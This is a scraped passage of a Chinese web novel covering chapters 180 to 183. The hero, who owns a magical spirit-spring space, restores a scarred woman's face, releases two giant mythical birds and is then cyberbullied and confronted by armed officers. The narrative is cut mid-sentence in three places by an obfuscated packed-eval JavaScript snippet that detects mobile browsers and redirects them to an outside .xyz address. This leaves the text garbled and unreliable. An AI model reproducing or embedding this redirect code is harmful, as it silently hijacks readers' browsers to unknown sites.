颜若曦的话让刘思雨一家三口都是一震，刘思雨的脸已经被专家判了“死刑”，可莫天扬的落液无痕却让刘思雨重获新生，他们可都是亲眼看到了落液无痕的逆天，这如果真的将落液无痕变成化妆品，那绝对是一棵只赚不赔的摇钱树。 “天扬、若曦说的有道理，你真的应该好好考虑一下。” 第一百八十章何为亲情？ 中秋过后，天气一天天转凉。青木山的外围已是一片萧瑟，冷风渐起，每当大风刮过，青木村的上空便弥漫着一片昏黄。 “王哥，公司最近怎么样？” “沛川的主公司还是老样子，每月利润刚够维持日常开支。雍州的分公司虽然成立不到一个月，但不管是屠苏酒、豆芽，还是你送去的山货，都特别受欢迎。要不是你坚持‘饥饿营销’，那点存货一天就能卖光。” “那就好。我这边还有些存货，找时间再给你们送一批。” “大家没对价格有什么意见吧？” 王传林哈哈大笑：“屠苏虽然是药酒，但口感比茅台、五粮液还好。你定在一百二十八，稍微宽裕点的人都买得起，当然没意见。就是有些有钱人觉得用塑料桶打酒没面子——不过我听说，他们好多都偷偷派人来买回去自己喝。” “山货呢？” “你的山货都是顶级的，虽然每种定价都不低，但卖得挺好，这几天已经有回头客了。有人建议我们好好做下包装。对了，作为镇店之宝的松茸、紫皇菇和雪灵菇，已经被本地几家星级酒店每月预定了。” “王哥，这一个月我还摘了不少普通山菇。过几天我看看能不能从青木山周边村子收一些回来。” 王传林几人眼睛一亮：“还有其他山菇？” “对，松树菇、松针菇，价格不高，口感也不错。” “那太好了！” 莫天扬微微一笑：“中午我弄点山菇，大家都尝尝。” 午饭时分，王传林几人看到被搀扶过来的刘思雨，都不由得一愣——她腿上的石膏还清晰可见。 但更让他们吃惊的，是她的脸。这段时间下来，刘思雨的脸已恢复得差不多了，唯有那两道主要的疤痕还略显分明。 “思雨，你这是……？” 刘思雨知道莫天扬与他们交情不错，她坐下来，望了莫天扬一眼：“出了车祸。要不是天扬，我可能都活不到现在。” 这话让王传林几人面面相觑。出了车祸，却是因为莫天扬才活下来？他们一时没反应过来。 看着他们困惑的样子，刘思雨拿出手机，找出一张之前的自拍递给王传林。看到照片，几人都不由倒抽一口凉气。 “这是……？” “这是十几天前的我。” 王传林几人再次怔住，瞪大眼睛看向刘思雨——若不是那两道显眼的疤痕，他们几乎无法将现在的她与照片中的人联系起来。 “这么严重的车祸……怎么发生的？” “一个酒驾的司机。” “真是该死！” “可你刚才说，要不是天扬……” 刘思雨深吸一口气：“车祸让我毁了容。若曦还特地带我去了一趟燕京，请最权威的专家会诊，他们都说我这张脸再没恢复的可能，就算整形，最多也只能回到原来的两三成。” “那现在这……” “天扬从古书里找到一个祛疤美颜的中药方，研制出了‘落液无痕’。我只用了十来天，就恢复成现在这样。” “天扬，你什么时候还懂中医了？” 莫天扬朗声一笑：“我哪懂什么中医？屠苏是药酒，我也就是为了提升它的口感才研究了些药材。” “你还真是个怪才！连古方药膏都能复原。刘思雨这样的疤痕都能祛除，这要是推向市场，得是多少因意外留疤的人的福音！等回去我们就调研一下现在市面上的祛疤产品。” 颜若曦轻声接话，眼中闪着光：“我们想的是把‘落液无痕’转型成化妆品。一旦成功，市场空间会更大。” 王林川几人齐齐看向莫天扬，眼中闪烁着期待的光芒。他们曾都是行业里的精英，家人用的无不是高端化妆品，深知这个行业的利润——动辄成千上万，堪称暴利。 一旦莫天扬真能将“落液无痕”成功转化，用不了几年，他们的公司就有望走向上市。 莫天扬苦笑了一下，看向王林川：“古方可都是古人不知耗费多少心血才研制的，复原哪有那么容易……不过，我会尽力尝试。” “来，大家都尝尝我做的山菇。” 一口下去，王传林几人眼睛都亮了。无论是松树菇还是松针菇，口感都远胜他们在星级酒店尝过的任何野山菇。 “天扬，这山菇绝对是顶级品质！” “好吃就多吃点。” 等油炸糕端上桌，王传林几人尝了一口，又不约而同地望向莫天扬：“天扬，这油糕……” “今年不是种了几亩谷子和黍子么。” 王林川深吸一口气：“这糕的口感比以前吃过的都要好，糕面绝对是精品。要是能量产，光是沛川的市场就够我们打开了。” 莫天扬点点头，心里却有些无奈。他的灵泉空间里确实有大片谷黍，即使用最原始的工具加工，也积存了不少。浅驼那边出租房里存放的，其实只是冰山一角。 但出租房的存量还能勉强解释，毕竟餐馆每天用量不大；可要是供应农贸公司，就不好遮掩了。有时候他不免感叹，自己虽有了逆天的空间，里面的蔬菜、瓜果和粮食，却难以光明正大地拿出来。 “行，明年我多种一些。下午我让宏利他们磨些糕面和小米，你们走时都带上。” 午饭后，刘思雨他们都回了房间。王传林深吸一口气，看向莫天扬：“天扬，公司成立时间虽短，但这段时间也赚了一些。除去所有开支，账户上还剩十三万。你看……” 莫天扬微微一愣——他真没想到，仅仅一个多月，王传林他们光靠卖屠苏酒、豆芽和少量山货，刨去开销还能盈余十三万。 “王哥，公司刚起步，账户上总得留些流动资金。再说大家辛苦了一个月，也该发工资。” “工资我们已经领了，和陈宏利他们一样，每月六千。我们吃住都在公司，没什么开销，六千足够了。” 莫天扬点点头：“公司刚起步，大家先坚持一段时间。等真正赚了钱，我一定给大家涨工资。” 王传林几人互相看了一眼，纷纷点头。王传林接着说：“天扬，我们的情况你也清楚，都是失信人员，银行卡不能存钱。我们的工资都在公司账上，回头我都转给你，你帮我们保管吧。” “你们就不怕我花了？” “花就花了，反正我们现在也用不上。” “可嫂子、孩子们总需要钱啊……” 莫天扬话一出口，王传林几人的表情顿时黯淡下来。王传林长叹一声：“出事之前， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354527|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了让他们过得好，我们都做了安排。可谁想到这才多久，她们连电话都拉黑了……我们现在，真的成了孤家寡人。” 莫天扬苦笑了一下。他没想到自己无意的一句话，竟触动了朋友们内心最痛处，更没想到那些曾经恩爱的夫妻，转眼间竟如此绝情。 “不提她们了，喝茶。”莫天扬举杯，“以后，我们为自己好好活。” “我早就放下了。你看着吧，用不了几年，她们会回来哭着求我们。” 王传林的话像投入静湖的石子，在每个人心中荡开涟漪。屋里一时安静，只听得见窗外呼啸而过的风声卷起几片枯叶。 莫天扬提起茶壶，缓缓为每个人的杯子续上热水，氤氲的热气暂时驱散了空气中的沉重。 “钱，我先替大家保管着，” 他开口，声音平稳而可靠，“不只是保管。王哥，你刚才说化妆品市场暴力，这话没错。但‘落液无痕’的路，得一步步走扎实。这十三万，我想先不分成，全部投入下一步的研发和试生产，尤其是若曦提到的——改良药味。你们觉得呢？” 他的目光扫过王传林和其他几人。这不是施舍，而是将他们真正视为并肩作战的伙伴，在共同规划未来。 “好！”王传林第一个响应，眼中重新燃起光，“就該这样！拿着钱瞎感慨顶屁用，把它变成更多的钱，才是正理！” “对，天扬，我们都听你的！” “有了这钱，就能买些更好的萃取和提纯设备，试试那些古法里记载的法子……”颜若曦不知何时也走了出来，靠在门边轻声补充道，她显然听到了刚才的对话，眼中闪烁着对产品研发的专注。 “还有包装！”另一个同伴插话，“咱那山货好是好，可总用黑袋子也确实不上台面。是得设计点像样的包装，才能卖上价。” 气氛瞬间活跃起来，之前的阴霾被对未来的具体规划所驱散。目标清晰起来，希望便有了实实在在的形状。 这时，陈宏利从外面走进来：“天扬哥，糕面、小米都弄好了，我带了一点先让王哥他们看看。” 莫天扬接过袋子，递给王传林：“王哥，你先看看”。 王传林几个打开小袋子，在看到金黄的糕面、颗粒饱满的小米，几个人的眼睛都是一亮。“天扬，这糕面、小米真的没的说，明年多种点，销售的事情都交给我。” “行，我这几天打听一下，看看哪里有好糕面、小米，到时候弄一些给你们，到时候包装一下应该能卖个好价格。” 王传林重重拍了拍莫天扬的肩膀，一切尽在不言中。 送走王传林一行人后，院子里恢复了宁静。莫天扬转身，看到刘思雨正拄着拐杖，站在屋檐下。夕阳的金辉洒在她脸上，那两道疤痕在柔和的光线下似乎也淡去了些许狰狞。 “都会好起来的，不是吗？”她轻声说，嘴角噙着一丝久违的、发自内心的浅笑。 莫天扬望了望她，又看向远处暮色中苍茫的青木山，点了点头。 “嗯，会的。” 山风依旧凛冽，但大院的灯火已亮起，灶上炖着汤，飘出温暖的食物香气。脚下的路或许还长，但同行的人已在身边，第一步，已经迈了出去。 第一百八十一章青色巨鸟 灵泉空间中，莫天扬刚将新收的谷黍堆好，望着眼前几乎垒成小山的粮食，不禁想起王传林的话，心中泛起一丝无奈。这么多粮食若是能拿出去，不知能换回多少资金，可惜他找不到合情合理的借口…… 他伸展了一下身体，长舒一口气。这段时间跟着王海龙他们学习防身术，体质明显增强了许多。以前收拾这点粮食早就腰酸背痛，如今却只是略感疲惫。 随手摘了颗西红柿，莫天扬信步走在郁郁葱葱的小岛上。靠近那片松林时，他脚步一顿，再次在草丛中看到了被掏空内脏的野兔。这让他不由皱起眉头——从第一次发现至今，类似的情形已不下十次，却始终没见到那捕食山鸡野兔的“凶手”。 正疑惑间，一声清亮的啼鸣从松林深处传来。莫天扬精神一振，快步走入林间。 走出数十米，他目光一凝，只见不远处的草丛中有两道青色的身影。莫天扬可以肯定那绝不是青狼，但那身影的高度绝对超过一米二。 这是……？ 就在他惊讶的同时，那两道青色身影也发现了他。一声啼鸣响起，两个大家伙振翅飞起。 莫天扬倒吸一口凉气。那是两只通体青色的巨鸟，钩状的喙和利爪闪烁着金属般的光泽，连青色的羽毛都笼罩着一层淡淡的光晕。 “这是什么鸟？”他心中骇然。 自幼随爷爷进山，见过的猛禽不下数十种，雕、鹰、隼各类都见过，却从未见过如此巨大的青色猛禽。这两个家伙展翅超过三米，这样的猛禽莫说是对动物，就是对站在食物链顶端的人类，也足以构成致命的威胁。 难道它们真的是从那两枚金色鸟蛋中孵化出来的…… 一阵烈风扑面，两只青色巨鸟轻盈地落在莫天扬面前，高度竟及他的胸部。 看着这两个庞然大物，莫天扬下意识后退几步，却发现它们并无攻击之意，只是歪着头打量他，眼中早先的凶芒已然褪去，换上了一般动物罕见的温顺。 定了定神，莫天扬缓缓上前，伸手轻触它们的羽毛。两个大家伙稍稍躲闪了一下，随即安静下来，任由他的手掌抚过羽翼。 指尖传来温热的触感，莫天扬长舒一口气。他环视辽阔的灵泉空间，轻轻拍了拍它们的羽翼。 “灵泉空间虽好，终究不是你们该长留的地方。我送你们出去吧，青木山脉才是你们真正的归宿。” 两只巨鸟似乎听懂了他的话，朝着他啾啾低鸣了几声，让莫天扬不由莞尔。他心里暗想，若这两个大家伙能与大青、小白一同进山，或许真能找到更多天材地宝。 北方的其他地区，夜间气温尚维持在十几度，但青木山脚下，夜间的气温已接近零度。村里许多老人这几天都换上了棉衣。 寒夜中，冷风呼啸，莫天扬打了个寒颤，赶忙回屋添了件厚衣。 再出来时，大青不知从哪儿钻了出来，用大脑袋亲昵地蹭着他的腰际。莫天扬指了指青木山的方向。 “走，去那边走走。” 来到青木山口，莫天扬心念一动，将那两只青色巨鸟带出了灵泉空间。不过片刻，两只巨鸟低鸣一声，振翅高飞，在他头顶盘旋三圈后，发出一声响彻夜空的清亮鸣叫，朝着青木山深处飞去。 目送它们消失在群山之中，莫天扬轻轻叹息一声，眼中流露出一丝不舍。低头时，却见大青眼中满是忌惮，让他心头一震，随即又释然——猛禽对陆地生物有着天然的压制力。那两个大家伙展翅超过三米，利爪尖喙，怕是连野猪见了也要望风而逃。 “大青，咱们回家。” 第二天，莫天扬从酒坊回来，看到刘思雨一家三口和颜若曦已经坐在客厅。爷爷莫啸正讲述着当年的往事，这让莫天扬不由微微一笑。 “思雨，换药了吗？” “换好啦。” “天扬，‘落液无痕’快用完了，你再做一些吧。” 莫天扬微微一愣，蹙眉看向颜若曦：“我准备的应该是十天的量，这才四五天吧？” 颜若曦咯咯一笑，有些不好意思：“这两天我和阿姨也在用，还真的别说，皮肤比以前好太多了！” 莫天扬不禁莞尔：“药草不多了，你回头再联系进一批吧。” “天扬回来了？快来吃早饭。” 莫天扬摆摆手：“你们吃吧，我就不吃了。” 整个上午，莫天扬都把自己关在房间里研磨药粉，颜若曦在一旁帮忙打下手，刘思雨则斜靠在木炕上，一边听音乐，一边望着忙碌的莫天扬。 忽然，一阵急促的敲门声响起，曹慧慌慌张张地推门进来：“天扬，你快出去看看！天上有两只大鸟，青狼吓得**都炸起来了！” 莫天扬微微一怔，立刻想到昨晚放归山林的那两个大家伙。他放下药杵：“我去看看。” “我也要看！” 大院外已经**了不少村民，纷纷仰头望向天空。两只青色大鸟正在高空不断盘旋。村民们虽自幼生活在青木山脚下，却无一人认得这是什么鸟。 老人们连连嘱咐带孩子的妇女看好孩子——虽不认识，但他们清楚，这样体型的猛禽绝对有能力掳走孩童。 楼前，莫啸也正抬头凝望，与身边胡标几人不同，他眼中藏着一丝难以掩饰的惊诧。 “天扬，你快看！这两只大鸟在这儿盘旋十几分钟了，像是盯上青狼了。大青早带着狼群躲起来了！” 莫天扬扶着刘思雨，抬头望向天空，心中莫名一动——那正是他昨夜放归的两只巨鸟。 空中的巨鸟似乎也看到了莫天扬，发出两声嘹亮鸣叫，径直朝他飞来。 “快进屋！”莫啸脸色一变，急声喊道。 院外的老人们见状也都神色大惊：“带孩子的快躲起来！其他人进院子！它们要扑下来了！” 就在人们慌忙冲进院子时，却全都愣在原地——两只一米多高的大鸟已悄然落在楼前，非但没有攻击任何人，反而歪着头紧盯莫天扬，嘴里发出“啾啾”的轻鸣。 这情景不仅让村民目瞪口呆，连莫啸眼中也写满不可思议，胡标几人更是睁大了眼睛。 “若曦，你扶好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355622|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思雨。” 说着，莫天扬缓步走下台阶，朝两只巨鸟走去。 “天扬，别过去！” 莫天扬淡淡一笑，心念一转，解释道：“标叔，没事。夏天我进山时，它们生病了，是我救了它们。没想到它们能飞出青木山找到这里。” “它们是专门来找你的？”胡标张大了嘴，满脸难以置信。 春天时莫天扬救下大青，让青狼成了菜地的守护神，山中的动物再不敢祸害蔬菜庄稼。现在倒好，不知何时他又在山里救了两只谁也不认识的大鸟，它们竟一路寻来。若这两只大鸟也像大青一样通人性，明年就再不用担心飞禽糟蹋庄稼了。 莫天迈步走到两只巨鸟身前，抬手在它们羽翼上轻拍几下：“你们怎么出来了？” 两只大鸟朝莫天扬“啾啾”叫了几声，抬起翅膀轻轻拍了他一下，莫天扬不由得后退几步，揉了揉胳膊。 “轻点儿，我可受不住你们这力道。” 看到这一幕，挤进院子的村民、门口的莫啸和胡标等人都看呆了。原本还担心巨鸟伤人，没想到它们在莫天扬面前竟温顺得像家养宠物。 “天扬，它们真是你在山里救的？”一位老人高声问道。 莫天扬点点头：“李大爷，您认得这是什么鸟吗？” 老人摇头：“不认识。论资历，你爷爷才是老山客，你该问问他。” 莫天扬望向莫啸，莫啸也摇头：“我也不认识。不过看这体型，它们应该生活在青木山深处，普通的野猪恐怕都经不住它们一爪。” 莫啸的话让众人不禁打了个寒颤——好在这些猛禽栖息在深山，若是在外围活动，他们出门都得提心吊胆。 “标叔，看看家里还有没有肉，多炖些给它们。” 就在这时，一声低啸传来。大青、小白领着狼群从外面奔来，它们背**竖立，眼中凶光毕露。小白更是一个箭步冲到莫天扬身后，对着两只巨鸟龇牙低吼。令莫天扬意外的是，小白的眼神中并没有青狼那般畏惧。 小白和狼群的出现，让两只巨鸟眼神骤变。一阵疾风扫过，它们振翅飞起，朝着狼群发出警告的低鸣。 莫天扬不由得摇头喝道：“下来！它们不是敌人。” 令人惊讶的一幕发生了——两只巨鸟仿佛听懂了莫天扬的话，收翅落回他身边。不远处的青狼眼中的凶光也渐渐消散，绕开巨鸟，安静地走到莫天扬另一侧。 莫天扬拍了拍大青，又拍了拍两个大家伙，“你们不是敌人，都是我得伙伴，你们可不能自相残杀。” 莫天扬的话如同圣旨一样，无论是青狼还是两个大家伙，都点点头，这让过来的村民、胡标这些人更是摇头。 “好了，你们该干嘛就干嘛。” 大青、小白带着青狼离开，莫天扬看向两个大家伙，“你们……” 两个大家伙啾啾叫了几声，振翅飞上了楼顶，站在楼顶的它们就好似两个守护者一样守护着大院，过来的村民以及颜若曦可不想错过这一幕，他们纷纷拿出手机将这一幕拍摄下来。 第一百八十二章青峰、青羽 正当人们站在房前，仰头望着房顶那两只威风凛凛的巨鸟时，莫啸朝莫天扬招了招手：“天扬，你过来一下。” 走进莫啸的房间，爷爷神情严肃地看向他：“天扬，外面那两只……真是你在山里救的？” 莫天扬点头：“是，爷爷。那时它们还没这么大，最多刚会飞。爷爷，您应该认得它们是什么吧？” 莫啸眼中光芒闪动，缓缓点头：“它们是青木山深处最凶猛的飞禽之一——青鹏。传说青鹏与神龙、凤凰生于同一时代，是金翅大鹏的变异种类。就连你曾经见过的那些深山巨兽，也对它们忌惮三分。没想到竟被你遇上了……好在当时它们尚在幼年，若是现在，你恐怕连渣都不剩了。” 莫天扬咧了咧嘴，不由想起当初将那两枚青鹏蛋混在普通鸡蛋中卖出的经历，内心一阵感慨。也不知那位老人是从何处捡到的青鹏蛋，若他知道自己卖出去的是何等存在，会不会后悔莫及。 “天扬，记住我的话，千万不要靠近那些红色区域。另外，青鹏的灵智远非青狼可比，既然它们认定了你，便会从一而终。你一定要好好对待它们。” “爷爷，我明白了。您说青鹏是青木山深处最凶猛的飞禽，那有它们保护，我是不是……” “我刚说什么来着？” 莫啸打断他，“青鹏的确是顶级凶兽，但你和青狼在深山之中，仍是最弱小的存在。它们在开阔地带或可护你周全，但别忘了，青木山深处是原始丛林，即便对青鹏而言，那里也危机四伏。” 莫天扬苦笑着点头：“爷爷，我知道了。” “去吧，别跟胡标他们提起这是青鹏。” 从爷爷房间出来，颜若曦和刘思雨立刻朝他招手：“天扬，快说说你是怎么遇到那两只大鸟的！” “就是在山里偶然碰见的。那时它们还没现在这么大，我也没想到它们能找到这里来。” “它们太威风了！能不能再找两只回来呀？” 莫天扬不由一笑。爷爷在他心中的地位无人能及，连爷爷都说青鹏与龙、凤凰生于同一时代，即便只是传说，也足见青鹏是何等古老的存在。更何况它们栖居于青木山深处——那个被爷爷多次告诫不可轻易踏足的禁地，他岂敢越雷池半步。 “天扬，你快出去看看吧！我把炖肉端出去，那两只大鸟看都不看一眼。” 楼房前，两盆热气腾腾的炖肉香气四溢，但站在房顶的两只青鹏却无动于衷。 直到莫天扬走出来，它们才振翅飞下。莫天扬轻拍它们的羽翼，指了指肉盆：“来，吃肉。” 令陈峰哭笑不得的是，就在莫天扬说出这句话后，两只青鹏才走向肉盆，开始啄食里面的肉块。 更让人骇然的是，拳头大小的肉块，它们竟直接吞下。每盆十几斤的炖肉，不过两三分钟就被吃得一干二净。 吃完肉，两只青鹏仰天长鸣，伸展翅膀还想拍拍莫天扬，却被他敏捷地躲开——他可不想再体验那种被“友好一拍”却痛彻心扉的滋味。 “去吧，去山里转转，那里才是你们的家。” 青鹏振翅离去，陈峰等人不由摇头感叹，眼中写满了羡慕。 回到屋里，颜若曦轻声道：“天扬，给它们起个名字吧，总不能一直叫大鸟。” 莫天扬略一思索，说道：“就叫它们青羽、青峰吧。” 莫天扬在青木山救下两只罕见巨鸟的消息，很快通过村民传开。有人还将视频发到了网上，很快，“青木村惊现展翅超三米神秘大鸟”的消息冲上热搜。多位动物专家迅速回应，称这是首次出现的新物种，并呼吁村民不要伤害它们。 网友们在评论区纷纷调侃：“展翅三米多，爪子快有脸盆大，别说人了，山里的野兽被抓一下都得骨折筋断，谁还敢伤害它们？除非有枪。” 青鹏现身青木村，不仅引发了全网关注，更吸引了大批网红前来。不到中午，尽管风沙未止，青木村已**了上百名来自沛川、浅驼的网红。虽然无缘得见青鹏真容，他们仍孜孜不倦地向村民打听细节，翻拍视频。 午后，人群突然爆发出一阵阵惊呼——青木山的方向出现了两团巨大的青色身影。 随着影子越来越近，惊呼声愈发响亮。空中的青鹏远比视频中看到的更加庞大，带着慑人的压迫感。更令人震惊的是，其中一只青鹏锐利的巨爪下，竟牢牢抓着一头土黄色的动物，看样子至少五六十斤重。 即便携带着这样的重物，青鹏的速度依旧快得惊人。不过几个呼吸间，它们已飞至莫天扬院子的上空。盘旋几圈后，缓缓降落在院中。跟进来的网红们顿时兴奋起来，纷纷举起手机，镜头齐刷刷对准这两只犹如从神话中走出的巨鸟。 尽管网上早有警告，这些为流量疯狂的网红仍不知死活地靠近，终于引起了青鹏的不满。它们猛地振翅，一股强风骤然卷起，当场将几个靠得最近的网红掀翻在地。 这一下，其余的人不敢再上前，但仍不死心地举着设备对准青羽、青峰疯狂拍摄。 “你们都干什么！离远点！这是深山里的凶禽，你们这样靠近、拍摄，万一激怒它们伤了人怎么办？”胡标急忙上前劝阻。 几个网红不耐烦地瞪向他：“老头，蹭什么热度？一边去！” 胡标脸色一沉，怒声道：“这是私人院子，请你们马上离开！” 可那些人根本不理，甚至动手推搡，将胡标推倒在地，继续凑近拍摄。 青鹏身负金翅大鹏的高贵血脉，又经变异通灵，这些网红一再触碰它们的底线，终于彻底触怒了这两只骄傲的巨禽。 霎时间狂风骤起，伴随着一连串惨叫，几十个网红倒在地上痛苦呻吟。或许知道这是人类的地盘，青峰、青羽并未动用利爪，只是以翅膀拍击——但即便如此，它们的羽翼何等刚硬，连莫天扬都难以承受，何况这些普通人？ 伤人之后，青峰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359123|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、青羽长鸣一声，振翅飞向青木山，只留下一地断手断脚、哀嚎不断的网红。 闻声赶出来的莫天扬等人看到这惨状，都不禁摇头。他先拨了急救电话，而后看向灰头土脸的胡标：“标叔，怎么回事？” 胡标看着那些网红，摇头将刚才发生的事说了一遍。原本还有些愧疚的莫天扬听完，再看向那些人时，眼中只剩冷意。 “良言难劝该死的鬼，这下舒服了？” “你自己养的畜生不拴好，伤了这么多人，还反过来指责我们？曝光他！网暴他！”几个没受伤的网红恼羞成怒地喊道。 “你们他妈脑子喂狗了？”莫天扬目光骤寒，“它们今早才从深山里飞来，标叔没劝过你们？你们自己作死，怪得了谁？一群**，活该！” “滚！都给我滚出院子！” “你还得赔我们损失！” 莫天扬冷哼一声，朝院内喝道：“大青！还能站着的再不滚，就撕了他们！咬死活该！你们完事马上退回山林！” 大青立刻带着一群已长到一米五的青狼围了上来。每一双狼眼都冷冷盯着那些网红，仿佛在看猎物——这些常年生活在深山老林中的野兽，身上散发着原始的凶戾气息，莫说人，连其他动物见了都胆寒。 这些所谓的网红不过是在网络上哗众取宠之徒，何曾见过这等阵仗？不待青狼真正扑上，还能动弹的人早已连滚带爬逃出了院子。 莫天扬扫了一眼地上那些面无人色的伤者，对胡标道：“标叔，等医院的人来了，您帮忙说一声。” 他转身回屋，而那些逃出去的网红却愤愤难平。他们靠网络吃饭，平日里仗着“网红”身份到哪儿都被人忌惮三分，今天却被莫天扬怒骂驱赶，只觉颜面尽失。 几人一合计，将刚才拍的视频精心剪辑后发到网上，把莫天扬塑造成一个冷血暴戾的恶人，并开启直播煽动粉丝对他进行网暴。 救护车赶来时，莫天扬只是出来看住青狼，对那些受伤的人懒得多看一眼。待伤员被拉走，他便直接回了家。 “天扬，你回来看一下。”正在后院看陈宏利他们处理狍子的莫天扬微微一怔，看向颜若曦：“怎么了？” 颜若曦苦笑着把手机递给他：“你被网暴了。” “我被网暴了？” “就因为刚才青峰、青羽在院里伤了人，他们被你骂走之后，把视频剪辑了发上网，煽动粉丝说你冷血无情，不但不救人，还放狼驱赶他们。现在全网都在骂你，不知道多少主播开直播蹭这个流量。” 莫天扬冷冷一笑：“没事，反正我也不怎么上网。他们爱怎么说怎么说，不过是一群网络乞丐罢了。” 颜若曦满眼担忧的看向莫天扬，“天扬，你可不要小看网络的力量，这些年有多少人因为网暴轻生，更有多少人因为网暴抑郁，所以你可不能小瞧他们，要不你出面解释一下。” 莫天扬摇摇头，“别理他们。” 第一百八十三章网络暴力 “天扬，现在不只是那些小主播，很多百万、千万粉丝的大主播也都加入了声讨你的行列，说你冷血无情。已经有人动身来浅驼了，说要来找你‘讨个说法’。一旦你的行踪被彻底曝光，每天都会有人上门来找麻烦。” 莫天扬平时不上网，手机里连直播平台都没装。他虽然知道网暴的威力，但原本并不在意。可听到对方竟要找到青木村来，他不禁皱起了眉头。 “天扬，要不报警吧？” 莫天扬淡淡一笑：“我先看看他们发的视频。” 颜若曦找出几个视频递给他。莫天扬看了几个，不由得摇头：“这完全是胡说八道。” “这些视频都是他们精心剪辑过的，当然只对他们有利。只有把你推到风口浪尖，他们才能赚足流量。” 莫天扬摇了摇头：“他们是不是忘了，这世上还有监控这东西？” 颜若曦和刘思雨都一愣：“你在楼房这边也装了监控？” 莫天扬点头：“我房间的电脑连着监控系统。” 颜若曦长舒一口气：“我去看看。只要有监控，这事就有转机。” 十几分钟后，颜若曦从莫天扬的房间走出来，俏脸含霜：“那些网红真是无耻！明明是他们有错在先，不但不听标叔劝阻，还动手推人，更用闪光灯近距离照射青峰、青羽，才激怒了它们。我这就把监控视频剪辑一下发出去！” “对！恶人就得恶人磨，让他们也尝尝被网暴的滋味！最好把那些带节奏的主播全封了，看他们还怎么害人。”刘思雨附和道。 听刘思雨这么一说，莫天扬下意识点点头：“若曦，那就让**再飞一会儿。看看那些所谓的网红还能作出什么妖来。到时候咱们再用证据反击，让他们再也害不了人。” 网络就是这样，一旦某件事有了流量，那些所谓的网红就像苍蝇一样蜂拥而至。整个网络上都是关于青木村的讨论，更多的网红开始杜撰编造，甚至将受伤说成是莫天扬驱使青狼所为。 因为事关自己，莫天扬每天都会关注事件的发酵。经过研究，他们也想好了反击的策略。 事发第三天，一阵警笛声传来，正在卧室制作“落液无痕”的莫天扬皱了皱眉——他听出警笛声就在院子外面。 起身出门，他看到慌慌张张的曹勇：“天扬，外面来了好多执法者，都带着枪，说是来抓青狼和你！除了他们之外，还有很多外地人，嚷嚷着要替他们的亲友讨个说法！” 莫天扬看了眼跟出来的颜若曦，朝她点点头。颜若曦立即返回房间。“勇叔，没事，我出去看看。” 等莫天扬走出房子，看到执法者已经进入院子，手中都持着**。他们身后还跟着至少上百人。 青狼显然察觉到这些人的敌意，一个个鬃**竖立，全部挡在莫天扬身前。 莫天扬盯着进来的人群，抬手轻轻拍了拍大青的背：“没事，你们退后。” 他向前走了几步，下意识看向房顶——没有看到青峰、青羽的身影，让他稍稍松了口气。 “莫天扬，你涉嫌操纵青狼伤人，致多人受伤。我们现在要逮捕所有青狼，并带你回去调查。” 莫天扬皱了皱眉，看向带队的执法者：“那些人是什么来历，你们难道不清楚？他们是因为靠近那两只大鸟，激怒了它们才受伤的。青狼什么时候伤过人？” “全网流传的视频就是证据！识相的话，就让青狼上车，我们会送它们去动物园。只有这样，你才能获得伤者家属的谅解。” “像他这种冷血动物必须严惩！我们商量过了，他必须赔偿每个伤者二十万！” “对！赔钱！没钱就用这院子抵押！” “听说他还酿酒，让他把酒方交出来抵账！” 看着这些所谓“家属”的嘴脸，莫天扬眼中满是冷意。而当有人提出要用酒方抵账时，他心头一动——这些人未必是真的家属。农村酿酒的人很多，他的“屠苏”尚未对外销售，别说城里人，连村里人都很少提及。可现在这些人却…… 莫天扬深吸一口气。既然人群中有图谋“屠苏”配方的人，那这些前来执法的人员，很可能与安云飞脱不了关系。 “网络平台的视频也能当作证据？你们确定？” “少废话！赶紧把青狼弄到外面的车上去！”一名执法者直接将枪口对准了莫天扬。 一瞬间，现场鸦雀无声。不远处的王海龙眼神骤然变冷，看向举枪者的目光中透出一丝杀意。 莫天扬直视着举枪的人，声音冰冷：“好大的威风。**倒是开枪啊——你算个什么东西？” “你敢辱骂执法人员？！” “拿着网上剪辑出来的视频当证据？我被网暴了这么多天，你们一次都没来问过，现在一上门就给我扣这么大顶帽子？你们对得起这身制服？对得起人民给你们的权力？！” “你这王八蛋，敢威胁执法人员？！”人群中有人嘶喊着冲了出来。有一个带头，就有第二个，他们张牙舞爪地扑向莫天扬，仿佛要将他生吞活剥。 莫天扬目光一寒，低喝道：“大青！” 一声低吼响起，原本伏地的青狼霎时全部起身，森然挡在莫天扬面前。狼眼幽绿，凶光毕露，死死盯住冲来的人群。 若只是莫天扬，他们自然不怕。可这些人来之前多少打听过——眼前这些，可是实实在在的野生青狼。冲上来的人顿时吓得连连后退。 